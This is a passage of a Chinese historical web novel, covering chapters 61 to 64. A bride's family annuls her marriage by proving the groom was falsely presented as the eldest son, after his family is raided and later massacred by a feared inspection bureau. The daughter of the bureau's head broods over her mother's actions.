这种架式,小厮主观理解,要抄家了。 “抄家??”贺英呆住了,马上问,“看清楚官服是什么样子的吗?” 小厮道:“我听他们喊,监察寮办案。” 贺英的心猛然沉了下去,下意识看向苏钰。 苏钰也惊呆了,面对贺英的目光,只是摇摇头。 她什么都不知道,更不可能去问慕容宁。 “那是什么衙门,怎么就……”贺二太太整个人傻住了,根本就反应不过来。 “完了,全完了……”贺英自言自语说着。 他虽然还在翰林院,但对于最近让闻风丧胆的监察寮,也是知道的。 刑部,大理寺上门,都还有回转余地。 监察寮上门,寸草不生。 贺二太太全然没有主意,看着穿嫁衣的贺小妹,呆呆说着,“小妹,今天还嫁吗……” “这还嫁什么,赶紧把喜字都撕下来。”贺英语气忍不住烦燥起来。 贺小妹虽然还没有正式嫁给冯大爷,但按照惯例,女子只要收了男方的聘礼,就算是男方家的人了。 冯大爷只是秀才,并无功名,只要不是诛九族,按理说是连累不到他。 但现在动手的是监察寮,冯家到底犯了什么事,冯大爷到底会不会被连累。只有天知地知,慕容宁知了。 贺老太太和贺大太太也吓坏了,连忙喊着,“快去叫老爷们来。” 不管关上门怎么撕逼,出了这么大事,尤其是姻亲出事,弄不好一家子都要被连累。 备嫁的新房顿时乱成一团,如此变故,关氏也惊呆了。 虽然是亲家,但遇到这种事,实在无能为力。尤其是苏钰在这里,更显得尴尬。 贺家上下忙成一团,哪里顾得上宾客。关氏悄悄跟苏玫说几句,就要带着苏钰回去。 “我就不送母亲和姐姐了。”苏玫说着。 遇到这种事,最倒霉的是贺小妹。 要是苏小妹刁钻任性些,她也乐得看笑话,偏偏苏小妹很老实,就显得很无辜。 “要是闹的凶,你就回来住。”关氏对苏玫小声说着。 冯家的姻亲故旧那么多,突然出事,别说冯家的亲友,京城都得动荡。 要是有可能连累到贺家,苏玫就赶紧回来。这样的婆家,不值得共沉沦。 苏玫点点头,“我晓的。” 张婆子送关氏和苏钰出去,出门时,苏钰回头看了一眼贺小妹。 贺家从上到下都乱了,都在忙,却没人管她。 明明她才是新娘子,这场婚事中最倒霉的一个。嫁与不嫁,后半生都堪忧。 没人理会,更没人安慰,贺小妹就这么孤零零坐着。不哭不闹,连呼吸声都那么弱。 苏钰突然有点理解,苏玫所说的,苏小妹招人疼的意思了。 穿着鲜红的嫁衣,装扮的如此漂亮,却如同水中浮萍,全然不知归处。 苏钰心中感慨万千,突然停下脚步,走到苏玫身旁小声说,“休书来不及写了,也许可以想想办法,把婚事废掉。” 苏玫微微一怔,沉思起来。 关氏和苏钰坐车回家,贺家的其他宾客,也都各自回去。 礼送了,饭没吃,更关键的是,这婚到底结不结还不一定。 贺大老爷出门打听消息,贺二老爷就是个废物,正堂坐着,一点主意没有,全凭家人摆布。 最着急的是贺英,一母同胞的妹妹,出阁当天出这样的事。 冯贺两家虽然早就订下婚约,但一直以来冯家的事,贺家完全没有掺和,甚至连什么都事都不知道。 一无所知被连累,贺英心里也憋着火。 冯家完蛋了,要想办法让冯大爷写休书。 拼着名声不要,他也不能看着唯一的妹妹跳火坑。 就在众人沉默之时,只见张婆子领着官媒婆进来,官媒婆一脸手足无措,上前见礼,“老爷,太太们好。” 贺英官媒婆就有气,贺小妹的婚事就是她两头跑张罗下来的,就落这么一个结果。 “谁让你来的。”贺英语气不善。 “是我叫的,现在冯家什么情况没人知道,冯大爷还能不能写休书都不好说。”苏玫说着,“不如官媒这里下手,看看能不能把婚事废掉。” 贺英意外的看向苏玫,贺家上下怎么对苏玫的,他很清楚。 现在贺小妹出事,她不公然看笑话就是厚道了,竟然还能帮忙,实在出乎他意料。 而且苏玫这个主意,倒是提点了他。找借口说婚姻不合法,这比写休书更有操作性。 苏玫看向官媒婆,“我就直说了,六姑娘的婚事是你张罗的,中间可有什么漏洞,可让婚姻失效的。” 随着苏玫这么说,张婆子直接一锭十两的银子塞到官媒婆手里。 官媒婆连忙往外推,一脸为难说着,“六姑娘的婚事是我张罗的,三书六礼,样样都合规矩。” 冯贺两家的婚事是早年就定下来的,官媒婆张罗三书六礼都是走过场,而且这套流程这么多年了,就没出过错。 要是这样都能出错,她这个官媒早就干不下去了。 “嫂子别误会,我不是要挑你做事不谨慎。而是想着,这回亲事操办的这么急,忙中出错也是常事。”苏玫笑着说。 张婆子又拿出一锭十两的银子,几乎是硬塞到官媒婆手里。 二十两银子,官媒婆有些心动,仔细想了想,“要说哪里错了,也就纳吉那里。” 纳吉要合八字,合八字重要又不重,本来就是随缘信信。 尤其是高门大户的婚姻,大家长都讲好了,八字算命都是走个过场。 只要不是结婚当天就死人的八字,都是能合上的好八字。 许多时候,为了合出来的八字好看,多讨些赏钱,媒婆甚至联合算卦先生改一改。 把不太吉利,变成小吉,小吉变大吉。 冯大爷和贺小妹的八字,勉强合上。 当时她和另一个官媒婆都觉得,合出来这个结果差强人意。 就跟算卦先生商量一下,把冯大爷的八字改了一下,合出来一个大吉,两边讨赏。 “单凭男方给的八字不对,理由似乎不太够。”贺英说着。 什么官媒婆改的,根本就是冯家给的八字有误。 这个锅倒是能扣在冯家身上,但只凭这个,就要把婚事废除,理由太牵强。 要是因此打官司,更显得贺家落井下石。 “我想起来了。”官媒婆突然说着,“我去冯家时,听冯家的婆子们悄悄议论,冯大爷并不是真的大爷。” 贺英听得懵了一下,“什么意思?” “冯大爷好像有个庶出兄长,因为冯大太太厉害,家里不认。”官媒婆说着。 一般高门大户里,都不允许庶长子比嫡长子年长,这也是为了家和。 长幼尊卑,哪怕有嫡庶之别。庶子占了长,将来有了出息,争家产闹起来,也是占理的。 冯家书香门第,更是讲究长幼伦常。 冯大老爷倒是守规矩,奈何冯大太太进门五年无所出。 冯老太太和冯大老爷都有点着急,偏偏冯大太太娘家有势,不敢纳妾,就收用了一个丫头。 丫头很快有孕,冯大老爷十分欣喜。 几个月后,冯大太太也传出喜讯,冯大老爷就更高兴了。 丫头先生产,生下长子,冯大太太后生产,生下冯大爷。 对于收用丫头之事,冯大太太心中本就憋着一股气。现在生下儿子,底气足了。 要是丫头生的是女儿,一个庶女,也能忍了。 但生的是儿子,尤其是占了长,冯大太太忍不了。 冯大太太与娘家人合计之后,便以庶长子乱家为由。硬是把丫头发卖,庶长子虽然没扔出去,却没上祖谱,交给下人随便养着。 “庚贴上写的是,冯家长房长孙,不是嫡长孙,冯大爷不是长孙,就是大错。”官媒婆高兴说着。 八字错了,有可能是男方给的,也有可能是官媒婆私改的,属于小事。 但是身份有误,长房长孙,变成长房次孙,那就是大事了。 只凭这个错处,婚事无效,贺家还占理。 “好,好……”贺英高兴极了,连声说着,“辛苦妈妈走这一趟。” 苏玫给张婆子使了眼色,张婆子又塞了一锭银子给官媒婆,“出了门,妈妈应该知道要说什么。” “明白,都明白。”官媒婆握着银子,高兴说着,“我什么都不知道,不,就没来过勇毅侯府。” 送走官媒婆,贺二太太还在懵逼中,正想问贺英。贺英没顾不上理她,先吩咐身边的小厮去寻人。 冯家这种讲脸面的家族,对下人向来厚道,使不着的老人肯定都会放出来。 官媒婆不知道这个庶长子具体是谁,冯家使过的下人肯定知道。 要是运气够好,冯家早把他赶出家门,不在府中居住。或者今天凑巧不在府里,那就把他找出来。 一个不受待见,连族谱都没上的庶长子,估计跟下人差不多。 没什么见识,好拿捏,许点银子随便吓唬几句就震住了。 贺家递状纸状告冯家骗婚,公堂上有这样一个证人,还能反面证明,冯家虐待长子。 这门婚事就能直接做废,贺家还不用担任何骂名。 贺英心中美滋滋盘算着,两个时辰后,小厮带着一个婆子进来。 是冯大太太院里的粗使婆子,虽然不被主子看中,但因在冯大太太房里侍侯,对府里的事格外清楚。 “六爷问的是他啊,他十岁的时候就被大太太赶出府了,听说从了军,前两年才回京城。”婆子说着,“现在好像在哪个衙门里任职。” “老爷想把他认回来,大太太不愿意,俩人还吵过一架。” “想认回来?”贺英愣了一下。 能让冯大老爷动心思想认回来的儿子,多半是这个儿子出息了。 “那天大老爷和大太太狠吵了一架,吵的太凶了,下人们都听到了。”婆子说着。 贺英想了想,“他叫什么名字?” 婆子想了好一会,“叫冯决,也不知道谁取的。” “冯决?!”贺英傻了,“你没记错?” 他当然知道冯决是谁,监察寮二队的队长,慕容宁的心腹。 婆子想了又想,很肯定的回答,“没记错,大老爷和大太太吵架的时候,大老爷说的,还说这个名字是他自己取的。” “那你知不知道他住哪里?”贺英追问。 也许同名同姓呢,不可能这么巧。 “应该在柳叶胡同。”婆子说着。 她男人是冯家的车夫,听他说,冯大老爷去那里找过冯决。 “柳叶胡同,那就没错了。” 贺英自言自语着,原本高兴的心情,一点点往下沉。 现在冯家出事,冯决做为监察寮二队的队长,跟冯家撇清关系都来不及,怎么可能上赶着承认身份。 怎么办,要怎么办…… 第62章 第 62 章 关氏和苏钰坐车回家…… 关氏和苏钰坐车回家, 一路无话。 实在不知道说什么,要是动手不是监察寮,还可以聊聊冯家的变故。 与慕容宁相关,那就没法聊了。 下车各自回住所, 小丫头侍侯着脱了外衣, 苏钰榻上坐着, 绿川端来热茶, “姑娘,先喝口热茶吧。” 大冬天的, 外头走一圈,冷风灌了一肚子,喝口热茶暖一暖。 “这个年只怕不好过。” 苏钰接过茶碗,自言自语说着。 不只冯家,贺家不好过, 整个京城只怕都要震三震。 都要过年了,衙门都要放假,不是十分紧急的事, 怎么也会放在年后再说。 怪不得慕容宁说忙, 没功夫管她, 原来在忙这些。 绿川不敢搭话,只是笑着说, “现在天气冷, 屋里猫着多舒服。” “肯定要屋里猫着了。”苏钰笑着,眉宇间却隐隐带着几分愁闷。 苏钰突然发现,她对自己的父母全然不了解。 父亲苏天翊在她九岁时坚持休妻,然后离京,十年未归。 为什么?不知道。 离京十年, 苏天翊做了什么?更不知道。 她现在还能清晰记得父亲的样子,毕竟二叔苏天华与苏天翊是双胞胎,长的一模一样。 看到苏天华,就等于看到了苏天翊。 但除了样貌外,许多与苏天翊一起的记忆变得模糊起来。 甚至连苏天翊是什么样的人,她都要记不起来了。 苏钰甚至想,她真的了解过苏天翊吗? 她不知道他为何要休妻,她不知道他为何要离京。 她更不知道他有什么理想,有什么抱负。 然后是母亲慕容宁,在很长的一段岁月里,苏钰对慕容宁是有一点点同情的。 虽然苏天翊离开时,她还小,但也明白。 慕容宁不是中原人,异族女子抛家舍业嫁到京城,父母兄弟皆不得再见。 要是嫁的丈夫好,夫妻和美,儿女孝顺,虽然有遗憾,但也算婚姻圆满。 结果,成亲十年,丈夫休妻,恩爱夫妻半路分开,一去不回头。 近乎无奈的改嫁,对后来的丈夫没有丝毫夫妻之情。 膝下只有一个亲女,虽然常见面,却并不同住。 女子为了爱情离乡背井,却得到这样的结果。苏钰甚至觉得,要是当年慕容宁没来京城,没遇到苏天翊,留在西北就好了。 留在父母兄弟身边,被亲友环绕着。哪怕婚姻依然不幸,至少还有亲人安慰,不至于孤苦无依。 苏钰还想过,她要是个儿子就好了,或者慕容宁再生一个儿子,她都是高兴的。 女儿出嫁是别人家的人,总不如儿子方便。 自古以来的女子就是如此,丈夫靠不住,就只能靠儿子,给自己的未来上个保障。 改嫁后慕容宁却没有再生育,而是教养后夫的庶出儿子继承爵位,全然没有考虑过自己的将来。 后来慕容宁积极参于各种事务,苏钰还想过,大概闲着也是闲着,有点事做也挺好。 直到前不久,慕容宁出任监察寮的正使。 再到今天,慕容宁成了官员眼里的厉鬼,显庆皇帝手里最锋利的刀。 每个人都该有自己的人生,就像慕容宁并不限制她一样,慕容宁的任何决定,她也没有资格过问。 但她依然想知道,慕容宁在想什么,要做什么,她的目的又是什么? “姑娘……” 绿川忍不住出声,“茶要凉了。” 说是喝茶,苏钰端着茶碗发呆,茶估计都凉了。 “等会再喝吧。”苏钰说着,把茶碗递给绿川,起身往西梢间走,“看书去。” 看书练字,眼看着就要吃晚饭,突然有婆子来报,“三姑奶奶和姑爷来了,在前头书房,想见大姑娘。” 苏钰微微皱眉,“让他们稍等,我就到。” 这个时候过来,只能是为了贺小妹,但冯家的事……贺英不是那么不识趣的人。 穿好外衣,苏钰披上大氅去了前头书房。 苏玫椅子上坐着,贺英却如热锅上的蚂蚁,根本就坐不住。 本来贺英一个人来就行了,但妹夫找大姨子不太合适。想着贺小妹着实可怜,苏玫便一起来了。 “有什么事?”苏钰进屋问着。 贺英看到她,直接跪了下来,“苏钰,我求你,帮我这一次。” 苏钰吓了一跳,连忙躲开,“你这是干什么?” 贺英在国公府门口跪过,在苏震岳院门前跪过,跪过苏天佑。 但这些人都是长辈,晚辈跪长辈,并不会丢脸掉面子。 但这样跪她,哪怕是当初贺英跟苏玫的事刚闹出来,贺英也只是道歉,情愿挨打都不会下跪。 “我只有这么一个妹妹,我不能看着她跳火坑,我是实在没有办法了。”贺英说着,声音微微颤抖,眼圈都红了起来。 亲爹贺二老爷是个废物,一点主意都没有。 大伯贺大老爷不是无情之人,但出去跑了一趟,能找的亲友都找了,他一说旁人就摇头。 按贺大老爷的意思,这都是命,也只能认命。 贺英却没办法认命,冯家要是诛九族的大罪,女眷要么充教坊司,要么流放。 要是运气好,只是冯大老爷死,冯大爷没事。那京城也呆不了了,两手空空回老家,贺小妹也要跟着遭罪。 苏钰十分惊讶,又有点感慨,“真没想到,你竟然是个好哥哥。” 贺英对女人有多渣,她是亲眼看见。 这样男人,一般对母亲妹妹也不会多好,没想到贺英竟然还有点良心。 “那是我亲小妹。”贺英眼泪流了下来,“求你帮我这一回。” “你先起来。”苏钰说着,心己经软了,“你想我怎么帮忙。” 贺英这才起身,把他的想法说出来。 既然己经抓住冯家的错处,婚事肯定要做废的。 难的是,最大的人证冯决。 当然,贺英也没想让冯决上堂做证。 在冯家出事的时候,让人自暴身份,没这个交情,也没这个脸面。 贺英的打算,他会重金找人来冒充冯决。闹上公堂时,假冯决上堂作证。 冯家是大族,现在出事的是长房,还有其他几房人,肯定有知道此事的。 而且长房出这样的事,其他几房人也是巴不得撇清关系。 有冯氏族人为证,再加上假冯决,铁证如山,婚事作废。 现在的难点时,找人冒充,得正主点头。不然变故从中,婚事没作废,还把人得罪了。 贺英知道冯决,但他跟冯决几乎不认识。冒然上门去拜托,只怕会被打出来。 冯决是监察寮二队的队长,几乎没有来往的亲友,连交好的同僚都没有。 唯一与他有关系的,上司慕容宁,而苏钰是慕容宁的独女。 “我倒是见过冯决。”苏钰说着,在楚王府,慕容宁身边。“我去说这件事,他应该会答应。” 以上司女儿的身份去说这件事,单是为了前程,冯决也会答应。 幸好事情并不多为难,不需要冯决做什么,只需要他沉默。 等事情过去,把假冯决打发走。冯决想认祖归宗,贺英可以对外说当时被骗了。 不想认回去,有个假的在前头,别人也不会对他的身世说三道四。 贺英面露喜色,“那就更好了。” “若是他答应了,你打算怎么答谢。”苏钰问着。 她牵线理会这事,只要冯决答应了,她就担人情了。 这个人情,需要贺英来还。 “我现在只是个翰林,刚进官场大门,贺家也大不如前了。把亿4把一六舅9刘三”贺英早有思量。 “冯大人在监察寮任职,只怕也不想与官员多有接触。我愿意以金钱报答,或者其他任何方式,尽管开口。” 苏钰听得点点头,“事不宜迟,现在就去。” 贺英更是巴不得,“好。” 从国公府到柳叶胡同要点时间,国公府属于勋贵的地盘,柳叶胡同是平民区,在不同的区域。 绿川十分机伶,知道这一来一回晚饭多半顾不上了,就带了点心到车上。 车上吃了几块点心,到柳叶胡同时天己经全黑了。因为胡同太窄,马车停到胡同后,四个小厮前头挑着灯笼。 下车时,贺英伸手要扶苏玫。 苏玫有些意外,想想又不意外。她对贺英有用,贺英自然会对她好。 男人啊,呵,有时候想明白了,就没意思了。 苏家管事去拍门,担心贺家人去,人家不答理。 片刻后,门开了,冯决开的门。 看到后面的苏钰时,明显愣了一下,“苏姑娘?” “打扰了。”苏钰笑着说。 冯决虽然很意外,却是开门迎客,“寒舍简陋,委屈姑娘了。” “是我来的冒昧。”苏钰笑着说,往里面走时,多少愣住了。 院子很小,只有三间瓦房,屋里透着一点点亮光。 冯决说是寒舍,真不是自谦。 进到屋里,更没有家具之说,桌椅床,灶台都在屋里。 别说坐的地方,连站的地方都没有。 因为屋子太小,跟随而来的下人,全部站院里吹风。 冯决把唯一的一把椅子给了苏钰,苏钰也没坐,索性都站着说话。 “监察寮不发薪资的吗?”苏钰发出灵魂拷问。 冯决是队长,不是随便小兵,住这样的地方,是不是太惨了点。 “姑娘误会了,我大部分时间都在卫所,这里只是临时落脚。”冯决笑着,客气询问,“姑娘深夜前来,是有什么吩咐?” 苏钰没回答,看向贺英。 冯决早就看到贺英和苏玫,按理说不认识,但他都知道。 监察寮监察百官,对于京城贵族子弟,一清二楚。 更知道贺英的妹妹,今天要嫁冯大爷。不等花轿出门,冯家就出事了,也算是一种幸运。 “冯大人。”贺英见礼,“今日来访,是有事想求。” 长话短说,贺英说明来意,并格外说了,只要冯决能保持沉默,条件好商量。 冯决有些意外,难为贺英能想出这样的点子,是个好哥哥。 “不用如此麻烦,我亲自上堂做证。”冯决说着,“正好,我也想了结一些事。” 这些天他没在卫所,而是在这里,是因为冯家之事,他需要避嫌。 监察寮不存在秘密,尤其是身世秘密。 “亲自上堂……”贺英愣住了,是他没有想到的。 不过冯决都能亲自上堂了,看来冯家的事不算大,至少不会诛连九族。 苏钰看一眼冯决,隐约猜到了,“冯大人既然想了结,趁着现在,倒是个好时候。” 身世是藏不住的,尤其是冯决还想仕途更尽一步,不如趁着现在抖开。 倒是冯大老爷和冯大太太应该是活不了了,父为子纲,只要他还有一口气,冯决都得尽孝。 这么一个爹压头上,那可不太好受。只有他死了,冯决才好公开身世。 至于冯大太太,这位嫡母,会有同僚替他顺手解决。 第63章 第 63 章 三天后,贺英递上状…… 三天后, 贺英递上状纸,状告冯家骗婚。 以次子冒充长子,涉嫌欺诈骗婚,证据确凿。京都府尹傅大人接了状纸, 因冯家目前情况特殊, 当事人无法上堂。便请了冯大老爷的亲叔叔, 也是与冯大老爷血脉最近的长辈, 公堂对证。 贺英递上状纸的时候,京城权贵圈里虽然惊讶, 但也在意料之中。 冯家完蛋了,都在尽可能撇清关系,谁想跟着一起死呢。 至于以次子冒充长子这个借口,虽然有点惊讶,但接受度还好。 高门大户里, 谁没点龌龊事。长子为庶,确实是忌讳。冯大爷是嫡长子,说是长子, 只要不细究也不用太在意。 直到冯决上堂, 说出自己的身世, 京城哗然。 十来岁就被赶出家门的庶子,辗转之下竟然成了监察寮的实权派, 慕容宁的心腹。 冯大老爷眼瞎, 如此优秀的儿子竟然赶出家门,冯大太太这个嫡母也太恶毒了。 废物庶子被成当下人使唤,没人理会。但有才能,能兴家的庶子被如此对待,那就全是嫡母的错。 也因为冯决的上堂, 官司判的格外快。 贺小妹与冯大爷婚姻不合法,以后男婚女嫁各不相干。 贺英与冯决皆无异议,没想到上公堂的冯家老叔突然道:“既然婚事是说给长子,就该还给长子,这也是父母之命,煤灼之言。” “这如何使得。”贺英听得头皮都要炸开了,“给弟弟寻的婚事,却嫁于兄长,说出去像什么话。” 他压根没这想法,更不想让冯决误会。 监察寮这种地方最怕跟朝中官员,尤其是勋贵扯上关系,结成姻亲更是想都不能想。 冯家老叔听到这话就不服了,“你们贺家告的是,以次子冒充长子,现在长子在这里了,该你们履行婚约了。” 冯决皱眉,刚要开口,官场沉服多年的京都府尹马上道:“这是你们两家私事,自行料理即可,退堂。” 话完,惊堂木一拍,径自走了。 贺英见状,哪里还跟冯家老叔纠缠这个,赶紧走了。 冯决走的更快,却被冯家老叔硬揪住,“你既为人子,你父亲母嫡生死不明,你却不管不顾。” “自古忠孝不能两全,冯家之事我早己申请回避,再多我也做不了。等国法处置下来之后,我自会去冯家。”冯决义正言辞说着。 冯家老叔无话可说,当儿子的能替老子去死,要求叛国枉法,就不太占理了。 从京都府出来,贺英先派身边小厮给苏钰报信。 全赖苏钰的关系,案子十分顺利,贺小妹又成了闺阁女儿,婚姻无效,对女子名声影响是最小的。 现在官司完了,自然要先给她报个信。 贺英派去的小厮到国公府时,苏钰正听着汇报。 苏钰虽然没有去现场,绿川却派了小厮过去,围观了全程。 府尹断完案,小厮回家转述全过程。 “这个冯家老叔还挺有意思,这种时候了,还想着给大侄子找老婆。”苏钰不禁说着。 冯家闭府三天,没一个活物从中走出来。 虽然己分家,按理说只要不诛九族就连累不着,但这种时候,皮多少都得崩紧点,没心情作媒。 “其实也挺合适。”绿川顺嘴说着,“戏文上不是常写吗,如此阴差阳错,正好结成夫妻。” 千金小姐与有能力的庶子,也是般配。 “那是戏文。”苏钰笑着说,有几分感慨,“姻缘之事哪有这么简单的。” 为爱发癫的婚姻都失败了,成功的婚姻…… 仔细想了想,她身边别说成功的婚姻,正常的婚姻都没有。 晚饭后,苏钰收到了贺小妹的感谢信。 厚厚一叠,字体娟秀工整,虽然说不上才情,感情十分真挚,感激之情却溢于言表。 并表示,若以后有用的着她的地方,刀山火海皆不在话下。 书信最后提到,两天后贺英将送她去莲花庵修行,大概要住上一两年。 “没想到还是被安排进庵里了。”苏钰读完信有点感慨。 贺英对这个妹妹绝对没话说,鞍前马后,不留余力。 与冯家的婚姻也被判无效了,贺小妹依然免不了进庙避风头的命运。 倒不是因为冯家,而是不管什么理由,出阁当天夫家出事,都是不大吉,女方会被指责命不好,生天克夫。 到莲花庵住上一两年,等风头过去了。就是再有人问起,也可以说克夫之煞己经被化解了。 “有兄长照看,就是住上一两年也无碍。”绿川说着,心中隐约有点羡慕。 不得己进庵堂避祸,只要家人照看着,也就是生活上清苦些,总能熬出来。 怕的是,把人往庙里一扔,家里不管不问,那死活都不好说了。 “莲花庵现在是皇家庙宇,贺英还是花了点心思的。”苏钰说着。 莲花庵是个传奇,原本只是默默无闻的小庵堂,七年时间成了皇家庙宇。 比莲花庵更传奇的,是莲花庵的主持圣和师太,都快封神了。 圣和师太的身世也是传奇,她本姓梅,高门庶女,十六岁嫁人,嫁的是当时在族中还寂寂无名的庶子关楚河。 后来关楚河考中功名,成为关家的族长,一时间风光无限。圣和师太本该跟着夫荣妻贵,结果她出家了。 当时京城都说是关楚河薄情寡义,富贵易妻,逼迫原配出家。 关楚河对此并不解释,圣和师太倒是公开说过,出家是她自己的决定,与关楚河无关。 七年过去了,关楚河并没有再娶,也没纳妾。 房里有没有丫头不知道,可以确定,他无子嗣,连女儿都没有。 时间证明了关楚河的清白,当然这个清白,关楚河也不在意。 出家后的圣和师太,开始了自己的传奇人生,一个不出名的庵堂在她的经营下一跃成为皇家庙宇,每每有讲法大会皆是万人空巷。 连宫里的关太后都对她赞赏有佳,关贵妃那么得意的人在她面前都十分和气。 别说京城贵女,连皇室的公主郡主,有事没事都会去莲花庵上个香,求个庇佑。 贺英能把贺小妹送到莲花庵住上一两年,多半是托了人情的。 在这里住过了,再有嘴贱的拿贺小妹克夫说事,那打的就是莲花庵的脸。 “希望她能平安顺遂吧。”苏钰说着,吩咐绿川磨墨,给贺小妹写回信。 大周相对于前朝是开放些,但女子命运,尤其是像贺小妹这种老实听话,全凭家人摆布的女子,过的好不好就全靠运气。 将要若是能嫁到好人家,婆婆和气,丈夫对她好,她也能生儿子,那就是好命。 要是运气不好,或者只是运气平平,亲密人际关系中遇到一个恶人,就够她受的。 “有兄长照看,再怎么样都不会太差。”绿川笑着说。 苏钰正欲提笔,听得不禁笑了,“这是贺英难得的良心。” 慢悠悠写完回信,虽然完全不熟,但贺小妹写了那么多,苏钰自然也得多写点,她本就善于笔墨。 写好封口,交代婆子明早送过去,苏钰洗梳睡觉。 不用早起请安,苏钰向来睡到自然醒。 睁开眼,苏钰就看到绿川,脸色凝重。 “一个时辰前,有小厮来报,冯家开门了。”绿川神色紧张。 冯家的事与苏钰无关,但慕容宁与苏钰有关。 都不用苏钰吩咐,绿川早派了人到冯家附近守着,还着人打听着消息。 “怎么说?”苏钰立时清醒了。 绿川道:“当时关在冯家的,算上下人在内,大约二百人出头。今天开门,活着走出来六十二人,宾客三十五,冯家……” “冯家被灭门了?”苏钰脸色难看。 绿川小声说着,“据说只有两个襁褓中的庶女被奶妈抱着活下来了。” 据说开门的瞬间,院中腥臭之气传遍了整条街。有大胆的往里面看了一眼,差点吓疯,说是血流成河,尸堆成山。 幸好是冬天,要是夏天,只怕半个京城都能闻到尸臭味。 “监察寮己经离开,通知了冯家族人去收尸,还有宾客里面身故的,家人也都去了。”绿川小心翼翼说着。 监察寮不通知,只怕没人敢过去收尸。 现在有人收尸处理后续,至少不会臭味熏天。至于冯家这个宅子,死了那么多人,别说住了,以后去都没人敢去。 苏钰沉默半晌,“邸报送来了吗?” “送来了。”绿川说着,把刚才收到的邸报奉给苏钰。 苏钰看了看,上面全是官方话,关于冯家之事一点未提。 书香门第的大家族,亲友故旧无数,还有那么多宾客死的不明不白。 而代表官方意见的邸报上,一字都没提,仿佛没有发生过。 苏钰心情沉重,她猜到冯大老爷活不了,但没想到冯家满门都没了。 她跟冯家没有任何交情,只是觉得哪怕是为皇帝尽忠,这种方式对大臣,会引来所有臣子的烦感。 慕容宁被彻底孤立是小事,更怕的是杀身之祸就要眼前。 为什么,为什么要做到这种程度…… “老太爷派了亲兵守在国公府门口。”绿川说着,“还派人来说,说……” “让我暂时别出门是吧。”苏钰说着。 冯家被灭门了,报仇都没人。但死的宾客里面,肯定有不少亲友憋着恨意。 楚王府在皇城,一般人进不去,皇亲国戚也不好惹。 慕容宁武功高强,身边卫官成群,更不好下手。 唯有苏钰,慕容宁的独女,看着很好欺负。 绿川强笑着,“姑娘本就不打算出门,这么冷的天,出门干嘛呢。” “我不出去。”苏钰说着,“你出去,不管花多少银子,尽可能的把事情打听清楚了。不管什么消息,都不能瞒着我。” “是,姑娘放心吧。”绿川神情严肃起来。 第64章 第 64 章 冯家大院的血染红了…… 冯家大院的血染红了整个京城, 越来越多的消息传出来,都不用特意打听。 一百多口死于非命,男的多是死于刑讯,过去收尸亲友中有当场吓晕的。 女人的死因有点复杂, 有吓死的, 有跳井的, 多是自寻短见。 临近新年, 各家各户之间本就交际少,现在就更少了。 别说女眷们来往, 就是男人们外头遇上,也就是问个好,就赶紧走开了。 唯一的喜讯,谢无衣定亲了,跟薛驸马的侄女, 薛雨梓。 “谢无衣跟薛雨梓?”苏钰懵了一下。 两个主角她都认识,也就因为认识,才觉得不可能。 绿川道:“公主府放出的消息, 说是年后就定亲。” “等定亲的时候再说吧。”苏钰说着。 直觉告诉她, 这是公主府放出来的烟雾弹。 不过, 要是为了遮掩品花楼薛迟和谢无衣打架的事,又有些没必要。 眼下冯家的事出来, 谁还在意那点花边新闻。 因为心情沉闷, 苏钰懒得细想,继续奋笔疾书。 她没有立场去质问慕容宁,就是担心她的安危,以武力值来说,慕容宁能保护她, 她却保护不了慕容宁。 满腔的心事全部化为书稿,她需要冷静一下。 写到晚上,苏钰手腕酸了,才停下来。 绿川整理着书稿,自然也看了。 可能心绪的关系,原本记录与薛迟爱情话本,现在己经全部走样。 满纸的官场朝堂,哪里还有半点情爱的影子。 “你说,薛迟现在在想什么?” 绿川侍侯苏钰梳洗睡时,苏钰突然说着,与其是跟绿川说话,不如说是自言自语。 虽然说慕容宁己经改嫁,但母女就是母女,血缘是断不了的。 出这样的事,薛迟会安慰她吗,或者不想沾上麻烦与她保持距离。 “我想见他,虽然不该这么想。”苏钰声音越来越小。 她跟薛迟没有未来,她也没想过未来。 单方面要求薛迟对她付出,这时侯出现安慰她,是她自私的想法。 好烦,明明没想过姻缘,她依然还会在意薛迟的想法。 苏家传祖的恋爱脑,想戒掉好难。 绿川默然听着,也不知道该说什么,只是把帐幔放下来,“姑娘早些睡吧。” 绿川吹了灯,屋子很快黑了下来,地龙烧的很暖,暖到苏钰在床上翻来覆去,怎么都睡不了。 时间不知道过了多久,极轻的脚步在屋顶响起,要不是苏钰耳边不错,真听不到。 杀手? 看她不出门,直接派杀手? 第一次遇到这种事,苏钰有点慌,心底却有点点兴奋。 这些天过的太苦闷,她也需要一点刺激。 悄悄起身,从枕头底下摸出“无相”。 当初特意找出这把匕首,本来是为了防着昭华公主的,没想到这里先用上了。 窗户被一点点推开,来人十分谨慎。 就在对方即将从窗进入之时,苏钰果断出手,几乎是一击必杀。 对方本能格挡,挡的很巧妙,没想到的是无相却极为锋利,轻轻一划即是血流成河。 “是我。” “谢无衣?” 窗户推开,月光透了进来,洒在谢无衣略显狼狈的脸上。 “你?” 苏钰惊呆,“你大半夜的不睡觉,跑来行刺……” “行刺你个大头鬼啊。”谢无衣气急败坏,尤其是手臂的伤。 他不怪苏钰刺他,他恼的是自己竟然被刺中了。 堂堂七尺男儿竟然被一个弱女子划伤了。 好丢脸,太难堪了。 苏钰看着他,有些莫名又有几分欢喜,又看到他肩膀上的伤口,“你先进来,我帮你处理伤口。” 不然两人这么说话,把院里的婆子惊醒,吵嚷起来闹得全府皆知,只是解释就要去掉半条命。 谢无衣脸上带着一点点小委屈,却是翻窗进来。 如此动静,睡在暖阁里的绿川己经醒了,连忙起身点灯。 看到谢无衣时,吓得差点叫出来。 苏钰穿好外衣,却是吩咐绿川,“去拿药箱来。” 绿川这才注意到谢无衣手臂上的伤口,心里涌起十万个为什么,此时哪里敢问,赶紧去寻药箱。 “大半夜你这是发什么疯。”苏钰说着,“幸好我手下留情,不然你这胳膊就废了。” “是我手下留情好不好。”谢无衣生气,“我好心跑过来开解你,你竟然这么对我。” 虽然苏钰无情无义翻脸不认人,但男子汉大丈夫是要有气量的。 冯家的事,他知道的比苏钰还多,慕容宁下手实在凶残。 慕容宁是她的母亲,是她一直敬重的人,尤其在苏天翊离京后,就是她对亲情的依托。 慕容宁此番行事,她肯定会为此消沉纠结,要沉闷许久才能走出来。 他就想着来看看苏钰,跟她说说话,他虽然不会劝人,但因为了解苏钰,知道说什么会让她高兴。 他也想白天过来,与苏钰正大光明的见面。 但上回的事后,晋阳长公主和薛驸马管他管的太严,白天根本就没办法,他只能晚上来。 “开解我?”苏钰微微一怔,实在很意外,眼中露出感激之情,“谢谢你。” 